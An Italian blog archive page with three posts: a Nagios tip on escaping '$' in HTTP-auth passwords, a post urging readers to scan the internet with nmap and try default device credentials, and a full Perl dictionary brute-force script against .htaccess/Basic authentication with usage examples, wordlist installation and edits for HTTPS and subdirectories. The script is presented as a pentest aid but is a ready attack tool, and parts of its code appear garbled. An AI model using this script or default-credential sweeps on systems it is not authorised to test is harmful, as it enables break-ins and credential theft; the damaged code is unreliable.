Archivi tag: password

Nagios ed il carattere di escape

Potrebbe succedere che su un determinato sito Web monitorato da Nagios sia stata abilitata l’autentica HTTP (per ovvie ragioni di sicurezza). Nel caso in cui la coppia username/password contenesse il carattere $, ovvero un carattere speciale utilizzato abbondantemente all’interno delle configurazioni relative all’NMS in questione (ad esempio per identificare le variabili in genere ed i parametri da passare ai vari comandi per eseguire i check), è necessario utilizzare la sequenza di escape. ovvero \\.

Nagios2.png

Ad esempio, supponendo che lo username sia user e che la password sia $password$, la configurazione di Nagios dovrà essere simile alla seguente:

define service{
        use                                  local-service         ; Name of service template to use
        host_name                       sito.dominio.it
        service_description            HTTP
        check_command               check_http_auth!sito.dominio.it!user:\\$password$
        notifications_enabled         0
        }

Come al solito, per rendere effettive le modifiche sarà necessario riavviare il demone in questione.

Alla prossima.

Le password robuste…

Avere a disposizione grandi budget da investire nella messa in sicurezza della propria infrastruttura informatica non implica l’invulnerabilità della stessa. Con questo voglio dire che nel 90% dei casi, le attività di cracking, anche le più banali, riescono grazie all’incapacità del sistemista, del tecnico di helpdesk o dell’utente vittima.

Privacy_2.jpg

Basti pensare che su Internet vi sono migliaia di dispositivi le cui interfacce di configurazione sono accessibili digitando username e password di default. Non ci credete? Incominciate ad usare nmap, magari all’interno di qualche script bash che colleziona determinati OS fingerprint e, una volta analizzati i risultati, provate una di queste credenziali di accesso:

http://www.phenoelit-us.org/dpl/dpl.html

“L’essere umano è il vero anello debole della catena”.

Alla prossima.

Script perl per attacchi bruteforce contro l’autenticazione .htaccess

Premessa

Questo scrip non è farina del mio sacco. Il solo scopo di questo post è quello di mostrarne il funzionamento, in modo da semplificare la vita agli amministratori di sistema che volessero saggiare la robustezza delle credenziali .htaccess per l’accesso ai loro siti Web.

 

brute.jpg

Scrip

#!/usr/bin/perl
###
#
# brute password crackalacker. useful for anything that uses .htaccess
# or other basic authentication methods.
#
# don't use it for anything stupid. it's for pentesting.
# - nwo
#
# 11/2/2007
#
###

use LWP::UserAgent;

sub usage() {
$progname = $0;
print "+--- created by nwo ---+n";
print "$progname (ip) (user) (dictionary file)n";
print "n";
exit(0);
}

sub auth() {
local($pw) = @_;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => "http://$ip/");
$req->authorization_basic($user, $pw);
@data = $ua->request($req)->as_string;
foreach $line (@data) {
if($line =~ /401/) {
return "0";
} else {
return "1";
}
}
}
$ip = $ARGV[0];
$user = $ARGV[1];
$dict = $ARGV[2];
if($dict eq "") {
$dict = "D8.DIC";
}
if($user eq "") { &usage; }

D, "$dict") || die "$!";
while() {
chomp($line = $_);
print "Trying $line....";
if((&auth($line)) eq "0") {
print "failed. Next..n";
next;
}
if((&auth($line)) eq "1") {
print "success! Password is $linen";
exit(0);
}
}

Lo usage dello scrip (come riportato nel sorgente) è il seguente:

perl htbrute.pl <ip del sito> <user> <dizionario>

Ad esempio:

perl htbrute.pl 192.168.1.1 admin italian

In particolare, i dizionari sono presenti nella directory /usr/share/dict. Potete comunque installarne di nuovi mediante il comando:

nightfly@nightbox:~$ sudo apt-get install <nome del dizionario>

I dizionari disponibili per l’installazione sono i seguenti (divisi in base alla lingua):

wgerman-medical
wfinnish
wcanadian-small
wcanadian-large
wcanadian-insane
wcanadian-huge
wcanadian
wbritish-small
wbritish-large
wbritish-insane
wbritish-huge
wamerican-small
wamerican-large
wamerican-insane
wamerican-huge
wukrainian
wswiss
wswedish
wspanish
wportuguese
wpolish
wogerman
wnorwegian
wngerman
witalian
wgalician-minimos
wfrench
wfaroese
wdutch
wdanish
wcatalan
wbulgarian
wbritish
wbrazilian
wamerican
miscfiles

Infine, nel caso in cui il nostro sito fosse raggiungibile solo mediante HTTPS, basta modificare la seguente stringa:

$req = HTTP::Request->new(GET => "http://$ip/");

in:

$req = HTTP::Request->new(GET => "https://$ip/");

Discorso simile va fatto se occorre controllare una determinata sottodirectory:

$req = HTTP::Request->new(GET => "http://$ip/nomedir");

Buon PenTest.